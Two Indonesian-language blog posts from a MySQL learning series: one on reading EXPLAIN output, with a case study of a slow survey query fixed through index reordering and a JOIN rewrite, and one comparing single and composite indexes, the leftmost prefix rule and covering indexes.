Penulis: hartadi

Sebelumnya saya sudah belajar tentang single index dan composite index di MySQL. Tapi pertanyaan selanjutnya: bagaimana cara memastikan index yang sudah dibuat benar-benar dipakai oleh MySQL? Jawabannya ada di perintah EXPLAIN. Hari ini saya mencatat bagaimana membaca hasil EXPLAIN dan menghubungkannya dengan pemahaman tentang index.

EXPLAIN: Jendela ke Otak MySQL

EXPLAIN adalah perintah di MySQL yang menampilkan execution plan — rencana eksekusi yang akan dilakukan MySQL untuk menjalankan sebuah query. Dengan EXPLAIN, kita bisa melihat apakah index sudah terpakai, berapa banyak baris yang harus diperiksa, dan apakah ada bottleneck tersembunyi.

Cara pakainya sangat sederhana — tinggal tambahkan EXPLAIN di depan query:

-- Tambah EXPLAIN di depan SELECT
EXPLAIN SELECT * FROM users WHERE email = 'rudy@example.com';

-- Bisa juga untuk query kompleks
EXPLAIN SELECT u.nama, COUNT(o.id) AS total_order
FROM users u
LEFT JOIN orders o ON o.user_id = u.id
WHERE u.status = 'active'
GROUP BY u.id;

Setiap Kolom di EXPLAIN: Apa Artinya?

Hasil EXPLAIN berupa tabel dengan beberapa kolom. Berikut penjelasan masing-masing kolom yang paling penting untuk dipahami:

1. id — Nomor Urut Query

Setiap SELECT dalam query diberi nomor id. Jika dua baris punya id yang sama, mereka dieksekusi bersama (misalnya saat JOIN). Jika id berbeda, mereka dieksekusi secara terpisah — misalnya subquery yang dijalankan untuk setiap baris dari outer query.

2. select_type — Jenis SELECT

select_type	Arti	Kapan Muncul
SIMPLE	Query tanpa subquery/UNION	SELECT * FROM t WHERE x=1
PRIMARY	SELECT terluar	Outer query dari subquery/UNION
SUBQUERY	Subquery independent	Dijalankan sekali saja
DEPENDENT SUBQUERY	Subquery bergantung outer query	⚠️ Dijalankan ulang N× per baris outer
MATERIALIZED	Subquery di-materialize ke tabel sementara	Hasilnya di-cache, lalu di-lookup
DERIVED	Subquery di FROM clause	MySQL buat tabel sementara

Yang paling perlu diwaspadai adalah DEPENDENT SUBQUERY — ini artinya subquery dijalankan ulang untuk setiap baris dari tabel induk. Semakin banyak data, semakin lambat.

3. table — Tabel yang Diakses

Nama tabel atau alias yang sedang diakses. Jika tertulis <subqueryN>, berarti itu hasil materialized dari subquery nomor N.

4. type — Cara MySQL Mengambil Baris ⭐

Ini adalah kolom paling penting di EXPLAIN. Kolom type menunjukkan cara MySQL mengambil data dari tabel. Semuanya diurutkan dari yang paling cepat ke yang paling lambat:

type	Arti	Kecepatan
system	Tabel hanya punya 1 baris	⚡ Instan
const	Primary/unique key, hasil 1 baris	⚡ Instan
eq_ref	JOIN pakai primary/unique, 1 baris per kombinasi	⚡⚡ Sangat cepat
ref	Pakai index biasa, bisa lebih dari 1 baris	⚡⚡ Cepat
range	Range scan (BETWEEN, >, <, IN)	✅ Bagus
index	Full index scan (bukan full table)	⚠️ Lambat
ALL	Full table scan — tanpa index	🐌 Terburuk

Rumus cepat: kalau type adalah ALL atau index di tabel yang besar (ribuan baris ke atas), itu tanda ada masalah yang perlu diperbaiki.

5. possible_keys vs key — Index Kandidat vs Index Terpakai

possible_keys menunjukkan index yang bisa dipakai MySQL, sedangkan key menunjukkan index yang benar-benar dipakai. Jika key bernilai NULL, berarti MySQL memilih full table scan karena dianggap lebih cepat.

Ini kembali ke pembahasan single index vs composite index — tidak semua index yang tersedia akan dipakai. MySQL memilih index yang paling efisien berdasarkan selectivitas (seberapa banyak baris yang bisa di-filter).

6. key_len — Panjang Byte Index yang Dipakai

Menunjukkan berapa byte dari index yang benar-benar digunakan. Ini berguna untuk memahami apakah composite index terpakai penuh atau hanya sebagian. Contoh:

-- Composite index: (survei_id, deleted_at, responden_type, responden_id)
-- key_len: 8  → Hanya survei_id yang terpakai (BIGINT = 8 byte)
-- key_len: 13 → survei_id + deleted_at terpakai (8 + 5)
-- key_len: 18 → survei_id + deleted_at + responden_type terpakai

Jika key_len kecil padahal composite index-nya punya banyak kolom, berarti hanya sebagian kolom index yang aktif — bisa jadi karena ada gap di leftmost prefix (kembali lagi ke aturan composite index sebelumnya).

7. ref — Apa yang Dibandingkan dengan Index

Nilai ref	Arti
const	Dibandingkan dengan nilai konstan (WHERE x = 5)
func	Dibandingkan dengan hasil fungsi (WHERE YEAR(tgl) = 2025)
table.column	Dibandingkan dengan kolom dari tabel lain (saat JOIN)
NULL	Tidak ada referensi

8. rows — Estimasi Jumlah Baris yang Diperiksa ⭐

Kolom kedua paling penting setelah type. Menunjukkan berapa baris yang estimasi harus diperiksa MySQL. Semakin kecil, semakin cepat. Jika angkanya mendekati total baris di tabel, berarti filter tidak selektif atau index tidak efektif.

Catatan: angka ini adalah estimasi optimizer, bukan jumlah aktual. Untuk memastikan statistik akurat, jalankan:

ANALYZE TABLE nama_tabel;

9. Extra — Info Tambahan

Extra	Arti	Penilaian
Using where	Filter dilakukan setelah MySQL ambil data	Normal
Using index	Covering index — tidak perlu akses tabel utama	✅ Bagus
Using temporary	Pakai tabel sementara (GROUP BY, DISTINCT)	⚠️ Hati-hati
Using filesort	Sorting tidak pakai index	⚠️ Lambat kalau data banyak
Using intersect()	MySQL menggabungkan 2 index (index merge)	⚠️ Pertimbangkan composite index
Using index condition	Index Condition Pushdown — filter di engine storage	✅ Bagus

Yang perlu diwaspadai: Using temporary + Using filesort bersamaan — ini menunjukkan query yang cukup mahal karena MySQL harus membuat tabel sementara DAN mengurutkannya tanpa bantuan index.

Red Flags: Tanda-tanda Query Bermasalah

Setelah memahami setiap kolom, berikut ringkasan tanda-tanda yang harus diwaspadai saat membaca hasil EXPLAIN:

• type: ALL di tabel lebih dari 1.000 baris → full table scan, index tidak terpakai
• select_type: DEPENDENT SUBQUERY → subquery dijalankan ulang N× per baris outer query
• key: NULL padahal possible_keys ada → MySQL menolak index karena dianggap tidak efisien
• rows mendekati total baris tabel → filter tidak selektif
• Extra: Using intersect() → MySQL harus menggabungkan 2 index (index merge), lebih baik pakai composite index tunggal

Studi Kasus: Dari EXPLAIN ke Perbaikan

Mari kita lihat contoh nyata. Misalnya ada query survei yang hasil EXPLAIN-nya menunjukkan masalah:

EXPLAIN SELECT
  s.nama,
  (SELECT COUNT(*)
   FROM v2_survei_pertanyaan p
   WHERE p.survei_id = s.id
     AND p.deleted_at IS NULL
     AND p.is_required = 1) AS pertanyaan_wajib,
  (SELECT COUNT(*)
   FROM v2_survei_respon r
   WHERE r.survei_id = s.id
     AND r.deleted_at IS NULL
     AND r.responden_type = 'tendik'
     AND r.responden_id = 1536) AS pertanyaan_dijawab
FROM v2_survei s
WHERE s.deleted_at IS NULL;

Hasil EXPLAIN-nya:

id	select_type	table	type	possible_keys	key	key_len	ref	rows	Extra
1	PRIMARY	s	ALL	idx_deleted_at	NULL	NULL	NULL	48	Using where
2	DEPENDENT SUBQUERY	v2_survei_pertanyaan	ref	survei_id, idx_deleted_at	survei_id	8	survei.s.id	10	Using where
3	DEPENDENT SUBQUERY	v2_survei_respon	ref	deleted_at, responden_type, survei_id	survei_id	8	survei.s.id	26585	Using where

Ada tiga masalah yang bisa diidentifikasi:

Masalah 1: Row 3 — 26.585 baris diperiksa per subquery. Dengan 48 survei, total baris yang harus diperiksa: 48 × 26.585 = ~1,27 juta baris. Penyebabnya: index (deleted_at, responden_type, survei_id, responden_id) tidak efisien untuk query yang filter by survei_id dulu — karena survei_id bukan kolom paling kiri di index.

Masalah 2: DEPENDENT SUBQUERY di row 2 dan 3. Kedua subquery di SELECT dijalankan ulang untuk setiap baris dari v2_survei. Ini pola yang harus dihindari.

Masalah 3: Kolom key_len hanya 8. Artinya dari composite index yang tersedia, hanya satu kolom yang terpakai. Sisa kolom index sia-sia.

Perbaikan: Tambah Index yang Benar

Karena query filter by survei_id duluan, survei_id harus jadi kolom pertama di composite index:

-- Urutan kolom mengikuti urutan filter di query:
-- WHERE survei_id = ? AND deleted_at IS NULL
--   AND responden_type = ? AND responden_id = ?
ALTER TABLE v2_survei_respon
  ADD INDEX idx_respon_fix (survei_id, deleted_at, responden_type, responden_id);

Perbaikan Lebih Baik: Rewrite ke JOIN

Selain menambah index, rewrite query dari DEPENDENT SUBQUERY ke JOIN bisa menghilangkan masalah secara total:

SELECT
  s.nama,
  COUNT(DISTINCT IF(
    p.is_required = 1 AND p.deleted_at IS NULL,
    p.id, NULL
  )) AS pertanyaan_wajib,
  COUNT(DISTINCT IF(
    r.responden_type = 'tendik' AND r.responden_id = 1536
    AND r.deleted_at IS NULL,
    r.id, NULL
  )) AS pertanyaan_dijawab
FROM v2_survei s
  INNER JOIN v2_survei_pertanyaan p
    ON p.survei_id = s.id
    AND p.deleted_at IS NULL
    AND p.jenis = 'pertanyaan'
    AND p.is_required = 1
  LEFT JOIN v2_survei_respon r
    ON r.survei_id = s.id
    AND r.deleted_at IS NULL
    AND r.responden_type = 'tendik'
    AND r.responden_id = 1536
    AND r.pertanyaan_id = p.id
WHERE s.deleted_at IS NULL
GROUP BY s.id, s.nama;

Query ini menjalankan scan sekali saja tanpa subquery berulang. Tapi ingat, keuntungan JOIN baru terasa jika jumlah baris di tabel cukup besar — untuk tabel kecil (48 baris), perbedaan waktunya mungkin tidak signifikan.

Hubungan EXPLAIN dengan Composite Index

Setelah memahami EXPLAIN, kita bisa memverifikasi apakah composite index yang dibuat sudah optimal. Beberapa poin kunci:

Pertama, perhatikan key_len. Jika composite index punya 4 kolom tapi key_len hanya menunjukkan 1 kolom, berarti ada kolom tengah yang di-skip. Ini kembali ke aturan leftmost prefix rule — MySQL tidak bisa melompati kolom di tengah composite index.

Kedua, jika Extra menunjukkan Using intersect(), artinya MySQL harus menggabungkan dua index secara terpisah (index merge). Ini kurang efisien dibandingkan satu composite index yang menampung semua kolom filter.

Ketiga, pastikan urutan kolom di composite index sesuai dengan urutan filter di query. Jika query selalu filter survei_id dulu, survei_id harus jadi kolom pertama di index. Kalau ada query lain yang filter tanpa survei_id, buat index terpisah untuk query tersebut — satu composite index tidak bisa melayani semua pola filter.

Cheat Sheet: Membaca EXPLAIN dengan Cepat

Berikut panduan cepat untuk memeriksa hasil EXPLAIN:

1. Cek kolom type — pastikan bukan ALL di tabel besar
2. Cek kolom key — jika NULL padahal seharusnya ada index, investigasi lebih lanjut
3. Cek kolom rows — pastikan angka tidak mendekati total baris di tabel
4. Cek kolom Extra — waspadai Using temporary, Using filesort, atau Using intersect()
5. Cek kolom key_len — pastikan composite index terpakai penuh (bukan hanya kolom pertama)
6. Jika ada DEPENDENT SUBQUERY, pertimbangkan rewrite ke JOIN

Kesimpulan

EXPLAIN adalah alat wajib sebelum mengoptimasi query. Tanpa EXPLAIN, kita hanya menebak-nebak. Dengan EXPLAIN, kita bisa melihat secara persis bagaimana MySQL merencanakan eksekusi query kita — index mana yang dipakai, berapa baris yang diperiksa, dan bottleneck di mana.

Tambahan index tanpa EXPLAIN ibarat obat tanpa diagnosis — mungkin cocok, mungkin tidak. Tapi dengan EXPLAIN, kita tahu persis masalahnya dan bisa memilih solusi yang tepat: menambah index baru, memperbaiki urutan kolom composite index, atau merewrite query dari subquery ke JOIN.

Seri belajar MySQL ini terus berlanjut. Setelah memahami perbedaan single dan composite index, sekarang kita punya cara untuk memverifikasi apakah index yang dibuat benar-benar bekerja.

---

Sumber

• MySQL 8.0 Reference Manual — EXPLAIN Output Format
• MySQL 8.0 — Multi-Column Indexes
• Use The Index, Luke — SQL Index Anatomy
• Catatan Rudy — Single Index vs Composite Index di MySQL

Hari ini saya belajar tentang perbedaan single index dan composite index di MySQL. Topik ini sering muncul saat optimasi query yang lambat — saya sendiri kadang bingung kapan harus pakai yang mana. Catatan ini saya rangkum dari beberapa sumber, termasuk mysqltutorial.org, dev.to, dan datacamp.com. Semoga bermanfaat.

Apa itu Single Index?

Single index adalah indeks yang dibuat pada satu kolom saja. Ini adalah jenis indeks yang paling sederhana dan paling sering digunakan. Contohnya:

-- Single index pada kolom email
CREATE INDEX idx_users_email ON users(email);

-- Single index pada kolom status
CREATE INDEX idx_orders_status ON orders(status);

Single index cocok untuk query yang hanya melakukan filter pada satu kolom, seperti:

SELECT * FROM users WHERE email = 'rudy@example.com';
SELECT * FROM orders WHERE status = 'pending';

Kelebihannya: sederhana, mudah dipahami, dan index maintenance-nya ringan. Kekurangannya: tidak bisa membantu query yang filter pada banyak kolom sekaligus.

Apa itu Composite Index?

Composite index (atau multiple-column index) adalah indeks yang dibuat pada dua kolom atau lebih. MySQL memungkinkan composite index hingga 16 kolom. Contohnya:

-- Composite index pada kolom (status, created_at)
CREATE INDEX idx_orders_status_created ON orders(status, created_at);

-- Composite index pada kolom (user_id, product_id, quantity)
CREATE INDEX idx_order_items_composite ON order_items(user_id, product_id, quantity);

Composite index sangat powerful karena bisa melayani banyak jenis query dengan satu indeks saja. Tapi ada aturan penting yang harus dipahami: leftmost prefix rule.

Leftmost Prefix Rule: Aturan Terpenting

Ini adalah konsep kunci yang harus dipahami saat menggunakan composite index. MySQL hanya bisa menggunakan composite index jika query melakukan filter pada kolom-kolom yang dimulai dari kolom paling kiri (leftmost).

Misalnya kita punya composite index (status, created_at, user_id):

-- ✅ BISA menggunakan index (leftmost prefix: status)
SELECT * FROM orders WHERE status = 'pending';

-- ✅ BISA menggunakan index (leftmost prefix: status, created_at)
SELECT * FROM orders WHERE status = 'pending' AND created_at > '2026-01-01';

-- ✅ BISA menggunakan index (leftmost prefix: status, created_at, user_id)
SELECT * FROM orders WHERE status = 'pending' AND created_at > '2026-01-01' AND user_id = 100;

-- ❌ TIDAK BISA menggunakan index (skip kolom pertama: status)
SELECT * FROM orders WHERE created_at > '2026-01-01';

-- ❌ TIDAK BISA menggunakan index (skip kolom pertama: status)
SELECT * FROM orders WHERE created_at > '2026-01-01' AND user_id = 100;

Bayangkan composite index seperti buku telepon yang diurutkan berdasarkan: Kota → Kecamatan → Nama. Kamu bisa mencari semua orang di “Jakarta”, atau semua orang di “Jakarta Selatan”, tapi kamu tidak bisa langsung mencari semua orang di “Kecamatan X” tanpa menyebut kota dulu.

Perbandingan: Single vs Composite Index

Aspek	Single Index	Composite Index
Definisi	Index pada 1 kolom	Index pada 2+ kolom
Query yang dilayani	Filter 1 kolom saja	Filter 1, 2, atau N kolom (sesuai leftmost prefix)
Ukuran index	Kecil	Lebih besar (menyimpan kombinasi nilai)
Index maintenance	Ringan	Lebih berat saat INSERT/UPDATE
Kapan pakai	Query selalu filter 1 kolom	Query filter banyak kolom, atau ingin covering index
Covering index	Sulit dicapai	Mudah dicapai (semua kolom SELECT ada di index)

Covering Index: Keunggulan Tersembunyi Composite Index

Ada satu konsep penting yang sering terlewat: covering index. Covering index terjadi ketika semua kolom yang diminta oleh query sudah tersedia di dalam index, tanpa perlu melakukan “table lookup” (mengakses data di tabel utama).

Contoh: kita punya tabel orders dengan kolom id, user_id, status, total. Query ini:

SELECT status, total FROM orders WHERE user_id = 100;

Jika kita hanya punya single index pada user_id, MySQL akan:

1. Menggunakan index user_id untuk menemukan baris yang cocok
2. Melakukan table lookup untuk mengambil kolom status dan total

Tapi jika kita punya composite index (user_id, status, total), MySQL bisa:

1. Menggunakan index untuk menemukan baris yang cocok
2. Mengambil status dan total langsung dari index (tidak perlu table lookup)

Ini jauh lebih cepat karena mengurangi I/O operasi. Anda bisa melihatnya di EXPLAIN — jika kolom Extra tertulis Using index, berarti query menggunakan covering index.

Urutan Kolom dalam Composite Index

Urutan kolom dalam composite index sangat kritikal. Berikut best practices yang saya temukan:

1. Kolom equality filter di depan, range filter di belakang

-- ✅ BAIK: status (= equality) di depan, created_at (range) di belakang
CREATE INDEX idx_orders_status_created ON orders(status, created_at);

-- Query yang bisa manfaatkan index ini:
SELECT * FROM orders WHERE status = 'pending' AND created_at > '2026-01-01';

2. Kolom dengan HIGH cardinality di depan

Cardinality adalah jumlah nilai unik dalam suatu kolom. Kolom dengan cardinality tinggi (banyak nilai unik) sebaiknya diletakkan di depan karena lebih efektif mempersempit hasil pencarian.

-- email punya cardinality tinggi (setiap user berbeda)
-- status punya cardinality rendah (hanya: pending, shipped, delivered)

-- ✅ BAIK: email di depan
CREATE INDEX idx_users_email_status ON users(email, status);

-- ❌ KURANG IDEAL: status di depan (terlalu banyak baris yang status = 'active')
CREATE INDEX idx_users_status_email ON users(status, email);

3. Pertimbangkan query yang paling sering dijalankan

Urutan kolom harus disesuaikan dengan pola query yang paling sering dijalankan di aplikasi Anda. Jika query paling sering filter berdasarkan user_id lalu created_at, buat index (user_id, created_at).

Kapan pakai Single Index vs Composite Index?

Situasi	Rekomendasi
Query selalu filter 1 kolom	Single index
Query filter 2+ kolom dengan AND	Composite index
Query butuh covering index	Composite index (include kolom SELECT)
Query filter dengan OR antar kolom berbeda	Single index per kolom (index merge)
Tabel INSERT-heavy (write performance kritikal)	Hati-hati dengan composite index besar
Ingin kurangi jumlah index	Composite index (1 index bisa gantikan beberapa single index)

Contoh Praktis

Misalnya kita punya tabel posts dengan kolom: id, author_id, category_id, status, created_at, title.

Scenario 1: Query filter satu kolom

-- Query ini hanya filter berdasarkan author_id
SELECT * FROM posts WHERE author_id = 5;

-- Single index sudah cukup
CREATE INDEX idx_posts_author ON posts(author_id);

Scenario 2: Query filter dua kolom + ORDER BY

-- Query ini filter author_id + status, lalu ORDER BY created_at
SELECT * FROM posts WHERE author_id = 5 AND status = 'published' ORDER BY created_at DESC;

-- Composite index (author_id, status, created_at)
-- - author_id & status untuk WHERE (equality)
-- - created_at untuk ORDER BY (menghindari filesort)
CREATE INDEX idx_posts_author_status_created ON posts(author_id, status, created_at);

Scenario 3: Query dengan SELECT spesifik (covering index)

-- Query ini hanya butuh title, tidak perlu SELECT *
SELECT title FROM posts WHERE author_id = 5 AND status = 'published';

-- Composite index yang "cover" semua kolom yang diakses
CREATE INDEX idx_posts_cover ON posts(author_id, status, title);

-- EXPLAIN akan tunjukkan "Using index" (covering index!)
EXPLAIN SELECT title FROM posts WHERE author_id = 5 AND status = 'published';

Kesalahan Umum yang Sering Terjadi

Berdasarkan pengalaman dan bacaan, berikut beberapa kesalahan umum yang sering dilakukan:

1. Membuat terlalu banyak single index

-- ❌ Terlalu banyak index
CREATE INDEX idx_orders_status ON orders(status);
CREATE INDEX idx_orders_user ON orders(user_id);
CREATE INDEX idx_orders_created ON orders(created_at);

-- ✅ Lebih baik: composite index yang melayani semua query
CREATE INDEX idx_orders_composite ON orders(user_id, status, created_at);

2. Urutan kolom yang salah

-- Query paling sering: WHERE status = 'pending' AND user_id = 5
-- Tapi index dibuat: (user_id, status)

-- ❌ Index kurang optimal
CREATE INDEX idx_orders_bad ON orders(user_id, status);

-- ✅ Index lebih optimal (status di depan karena equality filter)
CREATE INDEX idx_orders_good ON orders(status, user_id);

3. Tidak menggunakan EXPLAIN

Selalu gunakan EXPLAIN sebelum dan sesudah membuat index untuk memastikan index benar-benar digunakan:

EXPLAIN SELECT * FROM orders WHERE status = 'pending' AND created_at > '2026-01-01';

-- Perhatikan kolom:
-- - type: ref, range, atau eq_ref (bagus) vs ALL (full scan = buruk)
-- - key: nama index yang digunakan
-- - Extra: "Using index" = covering index (bagus sekali)

Refleksi Saya

Belajar tentang index ini membuat saya sadar: index bukan sekadar “tambah biar cepat”. Ada ilmu di balik urutan kolom, pemilihan kolom, dan pemahaman pola query. Composite index memang lebih powerful, tapi harus dipahami aturan leftmost prefix-nya. Kalau tidak, index yang sudah dibuat malah tidak terpakai.

Satu hal yang paling berkesan: EXPLAIN adalah sahabat terbaik. Sebelum optimasi, jalankan EXPLAIN dulu. Sesudah buat index, jalankan lagi. Kalau type masih ALL (full table scan), berarti index belum optimal. Semoga catatan ini bermanfaat, dan semoga saya bisa mengaplikasikan ilmu ini di proyek-proyek berikutnya.

Sumber:
• MySQL Composite Index — mysqltutorial.org
• Understanding MySQL Composite Indexes — DEV Community (Chat2DB)
• MySQL Covering Indexes — DataCamp
• How to Choose the Right Column Order for Composite Indexes — OneUptime